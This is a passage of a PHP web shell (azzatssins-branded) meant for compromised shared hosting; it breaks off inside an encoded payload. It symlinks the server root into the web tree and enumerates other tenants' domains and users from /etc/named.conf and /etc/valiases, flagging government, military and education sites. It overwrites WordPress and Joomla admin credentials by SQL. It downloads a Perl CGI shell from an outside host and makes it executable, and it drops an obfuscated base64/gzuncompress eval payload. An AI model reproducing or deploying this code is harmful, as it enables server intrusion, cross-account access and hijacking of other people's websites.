1863$sempak = "Options all \n
1864DirectoryIndex azx.html \n
1865AddType text/plain .php \n
1866AddHandler server-parsed .php \n
1867AddType text/plain .html \n
1868AddHandler txt .html \n
1869Require None \n
1870Satisfy Any";
1871$masuk =@fopen ('xazzatssins5x/.htaccess','w');
1872fwrite($masuk ,$sempak);
1873@symlink('/','xazzatssins5x/azx.txt');
1874$pg = basename(__FILE__);
1875$read_named_conf = @file('/etc/named.conf');
1876if(!$read_named_conf) {
1877echo "<center><br/><br/><nobr><span class='b9'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>";
1878} else {
1879echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/NAMED.CONF II ]:=O</span></b></nobr><br/><br/> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
1880<td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
1881<td align='center'> <font color='white'> <b>_USERS_</b></td>
1882<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1883foreach($read_named_conf as $subject){
1884if(eregi('zone',$subject)){
1885preg_match_all('#zone"(.*)"#',$subject,$string);
1886flush();
1887if(strlen(trim($string[1][0])) >2){
1888$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
1889$name = $UID['name'] ;
1890@symlink('/','xazzatssins5x/azx.txt');
1891$name = $string[1][0];
1892$australia = '\.au';
1893$bangladesh = '\.bd';
1894$brazil ='\.br';
1895$malaysia = '\.my';
1896$myanmar = '\.mm';
1897$indonesia = '\.id';
1898$israel = '\.il';
1899$romania = '\.ro';
1900$edu = '\.edu';
1901$gov = '\.gov';
1902$go = '\.go';
1903$gob = '\.gob';
1904$mil = '\.mil';
1905if (eregi("$australia",$string[1][0]) or eregi("$bangladesh",$string[1][0]) or eregi("$brazil",$string[1][0]) or eregi("$malaysia",$string[1][0])or eregi("$myanmar",$string[1][0]) or eregi ("$indonesia",$string[1][0]) or eregi ("$israel",$string[1][0]) or eregi ("$romania",$string[1][0]) or eregi("$edu",$string[1][0]) or eregi("$gov",$string[1][0]) or eregi("$go",$string[1][0]) or eregi("$gob",$string[1][0]) or eregi("$mil",$string[1][0]) or eregi ("$mil2",$string[1][0]))
1906{ $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>'; }
1907echo "<tr>
1908<td><a class='azzatssins' target='_blank' href=http://".$string[1][0].'/>'.$name.' </a></center></div></td>
1909<td align=center><font color=white>'.$UID['name']."</td>
1910<td align=center><a href='xazzatssins5x/azx.txt/home/".$UID['name']."/public_html/' target='_blank'>Symlink </a></td></tr>";
1911flush();
1912}}}}
1913flush();
1914flush();
1915echo "</tr></table></div></html>";
1916
1917}
1918
1919# x=azzatssym6
1920elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym6')) {
1921@session_start();
1922@set_time_limit(0);
1923@error_reporting(0);
1924@ini_set('log_errors',0);
1925@ini_set('error_log',NULL);
1926@ini_set('max_execution_time',0);
1927if($win){
1928echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1929}
1930@mkdir('xazzatssins6x',0777);
1931$sempak = "Options all \n
1932DirectoryIndex azx.html \n
1933AddType text/plain .php \n
1934AddHandler server-parsed .php \n
1935AddType text/plain .html \n
1936AddHandler txt .html \n
1937Require None \n
1938Satisfy Any";
1939$masuk =@fopen ('xazzatssins5x/.htaccess','w');
1940fwrite($masuk ,$sempak);
1941@symlink('/','xazzatssins6x/azx.txt');
1942$pg = basename(__FILE__);
1943if(is_readable("/etc/valiases")){
1944echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/VALIASES ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="300" cellspacing="0" cellpadding="4">';
1945echo '<tr>
1946<td align="center"><font color="white"> <b>_DOMAINS_</b></td>
1947<td align="center"><font color="white"> <b>_USERS_</b></td>
1948<td align="center"><font color="white"> <b>SYMLINK</b></td>';
1949$list = scandir("/etc/valiases");
1950foreach($list as $domain){
1951$i += 1;
1952$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1953echo "<tr>
1954<td><a class='azzatssins' href='http://".$domain." '>".$domain."</a></td>
1955<td align='center'><font color='white'>".$owner['name']."</font></td>
1956<td align='center'><a href='xazzatssins6x/azx.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a>/td>";
1957}
1958flush();
1959flush();
1960}
1961echo "</tr></table></div></html>";
1962}
1963
1964# x=wp3
1965elseif(isset($_GET['x']) && ($_GET['x'] == 'wp3')) {
1966
1967echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ WORDPRESS</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1968
1969if(empty($_POST['pwd'])){
1970echo "<FORM method='POST'>
1971<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Host</td><td>
1972<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
1973<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
1974<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
1975<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
1976<tr><td> User baru</td><td>
1977<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
1978 <tr><td> Pass Baru</td><td>
1979<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
1980
1981<input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1982</td></tr> </table><br><br><br><br>
1983";
1984}else{
1985$localhost = $_POST['localhost'];
1986$database = $_POST['database'];
1987$username = $_POST['username'];
1988$password = $_POST['password'];
1989$pwd = $_POST['pwd'];
1990$admin = $_POST['admin'];
1991@mysql_connect($localhost,$username,$password) or die(mysql_error());
1992@mysql_select_db($database) or die(mysql_error());
1993
1994$hash = crypt($pwd);
1995$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
1996$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
1997$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
1998$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
1999$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
2000$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
2001$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
2002if($a4s){
2003echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
2004}
2005}
2006echo "</div>";
2007}
2008
2009# x=jm4
2010elseif(isset($_GET['x']) && ($_GET['x'] == 'jm4')) {
2011
2012echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ JOOMLA</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
2013if(empty($_POST['pwd'])){
2014echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
2015<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
2016<tr><td> Database</td><td>
2017<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
2018<tr><td> username</td><td>
2019<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
2020<tr><td> password</td><td>
2021<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
2022<tr><td> New User</td><td>
2023<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
2024<tr><td> New Pass </td>
2025<td>123456 = <input style='width:160px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> </td></tr>
2026<tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
2027</td></tr></table><br>";
2028} else {
2029$localhost = $_POST['localhost'];
2030$database = $_POST['database'];
2031$username = $_POST['username'];
2032$password = $_POST['password'];
2033$pwd = $_POST['pwd'];
2034$admin = $_POST['admin'];
2035@mysql_connect($localhost,$username,$password) or die(mysql_error());
2036@mysql_select_db($database) or die(mysql_error());
2037$hash = crypt($pwd);
2038$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
2039$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
2040$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
2041$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
2042$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
2043$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
2044$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
2045$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
2046if($SQL){
2047echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
2048}
2049}
2050echo "</div>";
2051}
2052# x=cgi2012
2053elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
2054echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CGI TELNET</span> <span class='b8'> 2012 ]:=O</span></b></nobr><br/><br/> ";
2055echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='cgi-bin/cgi.pl' target='_blank'>[+] HERE [+]</a></center></span></br>";
2056mkdir('cgi-bin', 0755);
2057chdir('cgi-bin');
2058$get = file_get_contents('http://x-x-x.yn.lt/pl.css');
2059$bwt = fopen('cgi.pl' , 'w');
2060fwrite ($bwt ,$get);
2061fclose ($bwt);
2062chmod("cgi.pl",0755);
2063echo "<iframe src=cgi-bin/cgi.pl width=96% height=76% frameborder=0></iframe></div>";
2064}
2065
2066
2067# x=mysql2
2068elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql2')) {
2069
2070echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
2071echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='angel/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
2072if (!is_dir('angel')){
2073$mk = @mkdir('angel',0777);
2074@fwrite($f , $c);
2075$f2 =@fopen('angel/db.php','w');
2076$sml_db =
2077"PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9